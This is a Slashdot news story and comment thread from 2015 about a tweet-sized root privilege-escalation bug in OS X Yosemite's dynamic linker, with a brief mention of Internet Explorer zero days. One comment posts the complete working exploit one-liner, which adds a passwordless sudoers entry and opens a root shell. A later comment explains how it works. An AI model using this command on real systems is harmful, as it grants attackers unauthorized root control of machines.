Follow Slashdot stories on Twitter

 



Forgot your password?
typodupeerror
×
OS X Bug Internet Explorer Security

A Tweet-Sized Exploit Can Get Root On OS X 10.10 130

vivaoporto writes: The Register reports a root-level privilege-escalation exploit that allows one to gain administrator-level privileges on an OS X Yosemite Mac using code so small that fits in a tweet. The security bug, documented by iOS and OS X guru Stefan Esserwhich, can be exploited by malware and attackers to gain total control of the computer. This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5 but is already fixed in the preview beta of El Capitan (OS X 10.11) Speaking of exploits: Reader trailrunner 7 notes that "HP’s Zero Day Initiative has released four new zero days in Internet Explorer that can lead to remote code execution."
This discussion has been archived. No new comments can be posted.

A Tweet-Sized Exploit Can Get Root On OS X 10.10

Comments Filter:
  • See..... (Score:5, Funny)

    by 8127972 ( 73495 ) on Thursday July 23, 2015 @01:39PM (#50169723)

    Twitter is bad for you. At least if you're a Mac user.

    • by pahles ( 701275 )
      Did you care to even read the story?
      • I believe it was a joke...

        Funny-but-true: A buddy I work with tried that on a developer's MacBook Pro today. He wound up munging /etc/sudoers instead. Now they're currently trying to figure down how to get a live distro running that can mount Mac filesystems so they can fix that. It's kind of hilarious from my POV..

        Overall, if you already have physical access to the box, it's game-over anyway, and given the astronomically tiny percentage of Macs running OSX 10.10, that has sshd running, and happens to be on

        • Re:See..... (Score:5, Informative)

          by omnichad ( 1198475 ) on Thursday July 23, 2015 @04:20PM (#50170625) Homepage

          Now they're currently trying to figure down how to get a live distro running that can mount Mac filesystems so they can fix that. It's kind of hilarious from my POV..

          I thought Macs still supported target disk mode [wikipedia.org]. So all you have to do is boot holding T while it's connected via Firewire or Thunderbolt to another Mac/PC and its internal drive shows up as a disk drive.

          I guess if they want to waste a day using the wrong tools, they can go ahead.

          • Re:See..... (Score:4, Informative)

            by DaphneDiane ( 72889 ) <tg6xin001@sneakemail.com> on Thursday July 23, 2015 @04:42PM (#50170739)

            You can also just boot from an OS X image, for example download the OS X installer extract the installESD.dmg file ( typing from memory but pretty sure that is the name ), install that to a USB drive and boot from it holding the option key when the computer starts up. ( again typing from memory might be command-option or the like ) In fact depending on the age of the computer it might already have a recovery partition that you can just boot directly from and then launch disk utility to mount the main partition and terminal to fix it.

            • That's a lot more trouble since you still need another working Mac and the other Mac is already unbooted anyway. I think maybe you started typing that thinking about OS X DVD media and realized how much trouble it really is now while you were typing that out.

              • Yeah booting from media is harder than it used to be, though single user mode and recovery partitions do most of it anyways. ( I actually run a netboot server myself, so just have to boot via network at worse. )

          • by xdor ( 1218206 )
            Own any Mac by booting to single disk mode, mount read-write, set the root password and done.
          • Now they're currently trying to figure down how to get a live distro running that can mount Mac filesystems so they can fix that. It's kind of hilarious from my POV..

            I thought Macs still supported target disk mode [wikipedia.org]. So all you have to do is boot holding T while it's connected via Firewire or Thunderbolt to another Mac/PC and its internal drive shows up as a disk drive.

            I guess if they want to waste a day using the wrong tools, they can go ahead.

            They do. I thought it went away with FireWire; but it didn't. In fact, I think you can do it over WiFi, too, using AirDrop [apple.com]. That's exactly the way to do it. Just use another Mac.

    • by Anonymous Coward

      What worries me is that we're now using tweets as a measurement unit... peoole don't even know what an SMS is anymore nor why it was limited in characters to what it was.

      • The SMS size limit is different depending on the network/carrier. Tweets are a standard size (to hit the LCD of SMS carriers).

    • Twitter is bad for you. At least if you're a Mac user.

      True as the average user has the attention span of a twitter user.

  • by Myria ( 562655 ) on Thursday July 23, 2015 @01:42PM (#50169737)

    It's just Stefan Esser, as far as I've known for the last decade.

  • by Galaga88 ( 148206 ) on Thursday July 23, 2015 @01:48PM (#50169771)

    Fact[0]: The code for this exploit could fit within a tweet (which is to say: 140 characters.)

    Fact[1]: Despite referring to tweets and Twitter, this exploit can't occur via Twitter. The attacker already has to have local access.

    A lot of security exploits could fit within a tweet, but I've never seen that comparison before. It misleads people into thinking that you can pwn a Mac via Twitter.

    • by OzPeter ( 195038 ) on Thursday July 23, 2015 @01:55PM (#50169843)

      A lot of security exploits could fit within a tweet, but I've never seen that comparison before.

      You're right .. they should have specified it in pico Libraries of Congress. At least that's a unit of measurement that most people here would understand.

    • by fyngyrz ( 762201 ) on Thursday July 23, 2015 @01:58PM (#50169859) Homepage Journal

      Furthermore, local access pretty much is the end of the road anyway. Boot from the right CD with a custom filesystem that ignores HD filesystem permissions and yet allows you to set them any way you want, system is now wide open. Replace a few choice commands that you know are going to run, and bang, fully compromised. And that's just one of the many easy ways in to access as the system stands. You can also copy off the entire HD, or for that matter, erase it. Or both. You can compromise a command for a way in, copy an otherwise encrypted volume and walk off with it, break the encryption at your leisure, then use the previously installed compromise to get in and cause mayhem.

      If you don't have physical security and there is any kind of local threat of compromise, you could become toast at any time. These kinds of "threats" are insignificant in the larger scheme of things. If you need local security, the only sufficient mechanism is to physically deny access to the computer.

      • by Anonymous Coward

        Well it is a privilege escalation exploit. All you need to do is get a user to run code in their context either by using social engineering or some other exploit.

        Many exploits don't have much room to work with and a very small privilege escalation routine can help the bad guys keep their payload size down, which is important.

      • Comment removed based on user account deletion
        • by fyngyrz ( 762201 )

          Seems like it is: "the attacker already has to have local access"

          That's what I was working off of, anyway.

          Network-imposed exploits are something else entirely.

          • by Anonymous Coward

            ""the attacker already has to have local access"

            No they don't. They just need to get this line to run:

            echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

            You don't have to have physical access to the computer. The line of code just needs to run and game over.

          • by mlts ( 1038732 )

            I do agree that it isn't a remote root shell hole, but it can be combined with something like the SSH brute force vulnerability or another attack that can execute shell commands as an unfettered user... and then the box is compromised.

            The good thing is that Macs have functionality similar to SELinux as well as sandbox capabilities via the App Sandbox. This should be something used by all programs whenever possible, since it allows the OS to isolate the program from the rest of the filesystem and OS, helpin

            • Err, in order for an SSH brute force vuln to work against a Mac, sshd has to be on (it's not - you need to go to System Preferences -> Sharing, enable Remote Login, and then include the specific users in "Allow Access For..." )

            • Hopefully Apple can issue a fix in a short amount of time, because this is an easy exploit to use, and combined with something like a broken Java variant, could be used via the Web browser to hijack the entire box.

              According to TFS, the exploit is already patched in betas of El Capitan, and according to TFA, there is already a patch available (albeit not from Apple itself) for Yosemite, where the vulnerability first appeared.

          • Comment removed based on user account deletion
      • by MSG ( 12810 )

        Furthermore, local access pretty much is the end of the road anyway.

        Physical access is usually the end of the road. This exploit doesn't need that, it just needs shell access. Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.

        • by fyngyrz ( 762201 )

          How do you get shell access on your average Mac without physical access? SSH isn't enabled by default as has been pointed out. In fact, it's been a real PITA to get the versions of OS X I've configured to play nice on the network for the command line. I doubt one user in a thousand has done it -- slashdot mac users not being significantly representative of the average mac users, of course. My macs have SSH available, but the port isn't open to the Intertubes outside of my LAN, so it doesn't concern me very

          • by MSG ( 12810 )

            I hate to repeat myself, but: Any exploit that allows execution of code in a user's own context can be escalated to root access by this exploit.

            So.. Your PDF reader has an exploit that allows code execution. Without the dyld bug, the PDF bug only allows code to execute in the user's context. With the dyld bug, the PDF bug can give itself passwordless sudo access, and execute shell commands as root.

            • by tsa ( 15680 )

              Ah now I understand how it works. But we can count on Apple to have it fixed by the time El Capitan is out, which is in four months or so?

      • If you don't have physical security and there is any kind of local threat of compromise, you could become toast at any time. These kinds of "threats" are insignificant in the larger scheme of things. If you need local security, the only sufficient mechanism is to physically deny access to the computer.

        And don't forget that pretty much ANY *NIX OS would fall prey to this type of exploit, right? Once you have physical access, pretty much all bets are off with a sufficiently-talented attacker.

    • Local application access!

      I'm still trying to determine if this would be effective JavaScript Shell [mozilla.org]

      You just have to be able to set an environment variable no matter who you are and you're root. It's just a question if FireFox has its own "environment" or relies on an under-privileged UNIX account.

      From what I can tell, this is a wide-open window. Huge, huge, flaw.

    • Re: (Score:3, Informative)

      by Anonymous Coward

      well considering the last exploit was related to special characters in a text message, it's reasonable that the person who didn't read the article would make that mistake.

      But yes, you'd need to be at the box locally for this to be worrisome. I work at a university who's still in the process to migrating people from MAC to PC, so there's tons of apple tech on site, this bug would allow anyone, student, janitor, some dude of the street, to walk up to a machine, login as guest to view the web, then own root.

      I

      • But yes, you'd need to be at the box locally for this to be worrisome.

        Or, you just need someone gullible to be at the box locally.

        Given that we're talking about Apple products, it might be cause for concern.

      • But yes, you'd need to be at the box locally for this to be worrisome. I work at a university who's still in the process to migrating people from MAC to PC

        Pray tell, how many executive-level blowjobs from the MS Reps. did THAT take?

        Or did the student body unanimously vote to ditch OS X for the wonderful user experience that is The-Interface-Formerly-Known-As-Metro?

      • by MSG ( 12810 )

        you'd need to be at the box locally for this to be worrisome

        No, you wouldn't. On an unpatched box, this elevates any remote code execution bug into a remote root exploit.

    • by Anonymous Coward
      If it cuts down on Twitter use, I can live with the misleading title.
    • A lot of security exploits could fit within a tweet, but I've never seen that comparison before. It misleads people into thinking that you can pwn a Mac via Twitter.

      My exploit to load unsigned drivers on Windows 8, 8.1 and 10 even with Secure Boot enabled fits in the length of a tweet. I'll release it whenever WinPhone 10 comes out, probably.

    • by bidule ( 173941 )

      "sudo rm -rf /" also fits in a tweet. It will even ask for the password which their exploit isn't capable of.

      • by MSG ( 12810 )

        Uh... the exploit doesn't need to ask for a password. That's the point. Anyone who can execute any shell command can gain root privileges.

    • It misleads people into thinking that you can pwn a Mac via Twitter.

      Challenge accepted!

  • Lost control of my keyboard twice this week.

    Discovered the Mac's firewall was down. But couldn't find any history on the keyboard getting redirected to remote address.

    I was ready to chalk it up to a bad driver update by Apple, but I should probably assume I've been rooted.

    • Re:Explains It (Score:4, Insightful)

      by Galaga88 ( 148206 ) on Thursday July 23, 2015 @02:26PM (#50170015)

      Is it a wireless keyboard? Could the um, batteries be going out? Or maybe Bluetooth interference?

      I'm just not sure I'd jump straight from malfunctioning keyboard to rooted, even if my firewall wasn't up. Is your router even forwarding any ports to your Mac?

      • by xdor ( 1218206 )

        MacBook Pro -- integrated keyboard.

        Happened twice: once after sitting idle for a few minutes with a web page open (did not enter sleep mode), the other on boot at the login screen.

        The fact it happened on boot is what made me dismiss it as a possible update issue.

        No ports being forwarded, but after seeing this anything that exposes a unix account and allows any environmental variable to be set (even one for the app's own private shell) would be able to core this apple. Redirecting a shell to a remote IP is

  • Known vulnerability? (Score:4, Interesting)

    by TwentyCharsIsNotEnou ( 1255582 ) on Thursday July 23, 2015 @01:49PM (#50169781)
    Already fixed in the (preview) next OSX version - is that by luck or design?

    Makes me wonder how many known vulnerabilities Microsoft / Apple / Google have on their buglist that will only be fixed when they become publicly known.
    • by MSG ( 12810 )

      is that by luck or design?

      We don't know. It's plausible that the code was cleaned up without considering the security aspects of the change.

  • Twit (Score:2, Insightful)

    by Anonymous Coward

    As small as a tweet and still too big to fit in the summary.

  • Oh ffs. (Score:5, Funny)

    by Harold Halloway ( 1047486 ) on Thursday July 23, 2015 @01:53PM (#50169807)

    Well done. You realise that this story will be reported in tomorrow's Daily Mail as 'Twitter Steals Apple Users' Bank Details'?

    • by Anonymous Coward

      Calm yourself. No one pays attention to Slashdot anymore. This isn't like a decade ago when /. was in the top 10 tech sites. Today it would fit somewhere between 1337warez123.ru and Bob's FTP Commands Cheatsheet on GeoCities.

      • Calm yourself. No one pays attention to Slashdot anymore. This isn't like a decade ago when /. was in the top 10 tech sites. Today it would fit somewhere between 1337warez123.ru and Bob's FTP Commands Cheatsheet on GeoCities.

        Phil's CheatSheat on angel fire was sooo much better.

  • This is one of the stupidest security holes I have ever seen. Ever. How does a company with the resources of apple not spot this. Not even spot it, what kind of retard decides to implement something like this. Let's link a publicly modifiable ENV to a setuid system program and allow it to write wherever the fuck it want without authentication. Wut? Apple put on the dunce cap, we know your security is shit but this is way beyond ridiculous.

    • by Anonymous Coward
      Ordered by, payed by and delivered to, the NSA.
    • by markus ( 2264 ) on Thursday July 23, 2015 @02:11PM (#50169947) Homepage

      The bug is stupid. No doubt about that. But it's not quite as stupid as you think.

      The bug is not actually in the setuid application, but it is in the system wide dynamic loader that is needed to execute the setuid application.

      So, a naive programmer could be excused to think that they don't need to worry about security as it is not immediately obvious that the code executes with elevated privileges.

      Of course a more seasoned developer should have noticed. It's not that difficult to spot, especially as dynamic loaders are known to have had security bugs before. I think even Linux was affected at one time.

      • by MSG ( 12810 )

        I think even Linux was affected at one time.

        Yes. The Linux dynamic linker had a list of environment variables that it cleared when executing in a SUID context, for security. A comma was removed from the list, which caused the compiler to concatenate two of the strings. The result was that neither of those two variables were cleared, and so "LD_PRELOAD" could be used to load a replacement shared library into a SUID binary.

      • It shows that Apple doesn't have proper processes in place to manage security properly. This kind of code should have been reviewed for security, but clearly it wasn't.
  • You're welcome (Score:5, Informative)

    by slashdice ( 3722985 ) on Thursday July 23, 2015 @02:00PM (#50169863)

    echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

    • Re:You're welcome (Score:5, Informative)

      by nneonneo ( 911150 ) <spam_hole@noSPAm.shaw.ca> on Thursday July 23, 2015 @10:42PM (#50172487) Homepage

      Some folks were asking how this works, so here goes:

      newgrp is a UNIX utility that executes a shell with a new group ID (UNIX specification page: http://pubs.opengroup.org/onli... [opengroup.org]). This requires root permission since it can change the group ID to one outside the current shell's group list (e.g. to any group in the uid's group list). Therefore, newgrp is a setuid root application which launches a shell.

      DYLD_PRINT_TO_FILE is a dyld (OS X dynamic linker) environment variable that tells dyld where to print debugging information. Ordinarily, dyld supports a large number of debugging options to facilitate debugging shared libraries and to allow neat tricks like DYLD_INSERT_LIBRARIES (equivalent to LD_PRELOAD on Linux). When dyld sees this environment variable, it opens a new file descriptor connected to the specified file. Since fds 0,1,2 are already connected to stdin, stdout and stderr, the file is opened as fd 3.

      Notably, since newgrp starts as root, the file is opened using root's permissions, even though newgrp later drops privileges to spawn the shell.

      Because DYLD_ environment variables can modify a program's behaviour in unexpected ways, they are usually deleted or sanitized prior to running setuid programs (because otherwise an unprivileged attacker could cause a setuid program to misbehave, exactly as in this exploit). Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE when shipping Yosemite, opening this particular flaw up.

      Finally, the (outer) echo command tells the subshell spawned by newgrp to execute the (inner) echo command, which outputs the string "$(whoami) ALL=(ALL) NOPASSWD:ALL" into fd 3, which (due to the DYLD_PRINT_TO_FILE variable) is /etc/sudoers. This line tells sudo that *any* account is allowed sudo access, and that no password is required to use sudo.

      The subshell then exits (no more commands to run), and the final command "sudo -s" executes. Since sudo no longer requires a password, and all accounts can use sudo, "sudo -s" just immediately opens a root shell without prompting.

      • $(whoami) ALL=(ALL) NOPASSWD:ALL

        It only grants the current user (result of `whoami`) full sudo access, not every account.

      • by MSG ( 12810 )

        Apple clearly forgot to sanitize the new DYLD_PRINT_TO_FILE

        They also forgot to set the close-on-exec flag for the file they open. If they had done that, then at least only the SUID application would be a target, instead of the SUID application and any child process.

        which outputs the string "$(whoami) ALL=(ALL) NOPASSWD:ALL" into fd 3

        Actually, $(whoami) will be executed and its output substituted by the shell. The username of the user will replace that string, so root access will be granted by sudo only to the user that runs the exploit, not to all users. This would give root access to all users:

        echo 'echo "ALL ALL=(ALL) NOPASSWD:

  • by Anonymous Coward
    My security expert assured me that size doesn't matter!
    • My security expert assured me that size doesn't matter!

      My security expert is Ron Jeremy and he disagrees.

To stay youthful, stay useful.

Working...